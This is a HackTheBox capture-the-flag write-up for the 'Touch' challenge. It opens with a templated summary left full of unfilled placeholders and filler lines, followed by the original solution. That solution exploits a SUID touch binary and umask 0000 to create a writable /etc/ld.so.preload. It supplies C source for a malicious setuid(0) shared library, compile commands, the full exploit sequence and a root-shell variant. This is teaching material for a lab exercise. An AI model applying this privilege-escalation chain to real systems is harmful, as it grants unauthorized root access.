← Back to Writeups
HTBN/AMisc

Touch

XESXOR8/23/20265 min read
#misc#htb#n/a

Touch

Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-02-19 | Status: Solved Techniques: ld_preload_hijacking, shared_library_injection, suid_exploitation, umask_manipulation

Summary

The target server on port 30678 runs socat, which provides a bash shell as user ctf (uid=1000). The flag is located at /root/flag.txt, accessible only by root. Privilege escalation is required.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260219_hackthebox_touch
  • Tags: linux, suid, privilege_escalation, touch, ld.so.preload, shared_library_injection, umask
  • Indicators: SUID bit on /bin/touch, touch has -rwsr-sr-x permissions, flag readable only by root, socat spawns shell as unprivileged user, writable /etc possible via SUID binary
  • Source: 20260219_hackthebox_touch.md

Foothold

Vulnerability / Misconfiguration

  1. Ld_preload_hijacking
  2. Shared_library_injection
  3. Suid_exploitation
  4. Umask_manipulation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ld_preload_hijacking
  • shared_library_injection
  • suid_exploitation
  • umask_manipulation
  • Tags: linux, suid, privilege_escalation, touch, ld.so.preload, shared_library_injection, umask

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Push me, and then just touch me, till I can get my, Satisfaction!"

The target server on port 30678 runs socat, which provides a bash shell as user ctf (uid=1000). The flag is located at /root/flag.txt, accessible only by root. Privilege escalation is required.

Analysis

Reconnaissance

Upon connecting to the server, we get a shell as user ctf:

nc 154.57.164.73 30678
id
# uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

The flag is not directly accessible:

cat /root/flag.txt
# cat: /root/flag.txt: Permission denied
ls -la /root/
# ls: cannot open directory '/root/': Permission denied

Finding SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Key finding — /bin/touch has SUID+SGID bits set:

-rwsr-sr-x 1 root root ... /bin/touch

This means touch executes with root privileges, and any file created via touch will be owned by root:root.

Attack Vector: ld.so.preload

The /etc/ld.so.preload mechanism allows loading arbitrary shared libraries before all others when launching any ELF binary. If we can:

  1. Create the file /etc/ld.so.preload (via SUID touch — the file will be owned by root)
  2. Write the path to our library into it (the file must be world-writable)
  3. Run any SUID binary — our library will execute with root privileges

Critical point: touch creates files with permissions determined by umask. By default umask=0022, which gives 0644 (not writable by others). But if we set umask 0000, the file will be created with 0666 permissions — world-writable!

Solution

Step 1: Preparing the Malicious Library

Create evil.c with a constructor function that executes when the library is loaded:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

static void __attribute__((constructor)) init(void) {
    if (geteuid() == 0) {
        setgid(0);
        setuid(0);
        unlink("/etc/ld.so.preload");
        system("cat /root/flag.txt > /tmp/flag_txt 2>&1; chmod 777 /tmp/flag_txt");
    }
}

Important details:

  • __attribute__((constructor)) — the function is called automatically when the .so is loaded
  • geteuid() == 0 — verify we're actually in a SUID context
  • setuid(0) / setgid(0) — elevate real UID/GID to root
  • unlink("/etc/ld.so.preload") — remove preload to avoid infinite recursion (each system() call would also load preload)
  • Copy the flag to /tmp/ with world-readable permissions

Step 2: Compilation

The target system is Linux x86_64. If attacking from macOS, cross-compilation via Docker is needed:

# On macOS via Docker:
docker run --rm -v $(pwd):/work -w /work gcc:latest \
    gcc -shared -fPIC -o evil.so evil.c -nostartfiles

# Or on Linux directly:
gcc -shared -fPIC -o evil.c -nostartfiles -o evil.so

Step 3: Exploitation on the Target Machine

# 1. Set umask to create world-writable files
umask 0000

# 2. Create /etc/ld.so.preload via SUID touch
#    File is created as root:root with 0666 permissions
touch /etc/ld.so.preload

# Verify:
ls -la /etc/ld.so.preload
# -rw-rw-rw- 1 root root 0 ... /etc/ld.so.preload

# 3. Transfer evil.so to target machine via base64
echo '<base64-encoded-evil.so>' | base64 -d > /tmp/evil.so
chmod +x /tmp/evil.so

# 4. Write the library path to ld.so.preload
echo '/tmp/evil.so' > /etc/ld.so.preload

# 5. Run SUID touch — dynamic linker loads evil.so with root privileges
touch /tmp/trigger

# 6. Read the flag
cat /tmp/flag_txt
# HTB{REDACTED}

Attack Chain (Visual)

umask 0000
    ↓
touch /etc/ld.so.preload     ← SUID: creates file as root, 0666
    ↓
echo '/tmp/evil.so' > /etc/ld.so.preload   ← possible because 0666
    ↓
touch /tmp/trigger            ← SUID: linker loads evil.so as root
    ↓
evil.so constructor:
  setuid(0) → system("cat /root/flag.txt > /tmp/flag_txt")
    ↓
cat /tmp/flag_txt → FLAG

Notes

  • The name "Touch" and the hint "Push me, and then just touch me" are direct pointers to the attack vector:
  • Push = write (push) content to /etc/ld.so.preload
  • Touch = use SUID touch to create the file and trigger the exploit
  • The ld.so.preload hijacking technique is a classic Linux privesc method
  • umask affects all files created by the process, including SUID binaries — this is often overlooked
  • Alternative approach: instead of copying the flag, you could get a full root shell via system("/bin/bash -p")
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR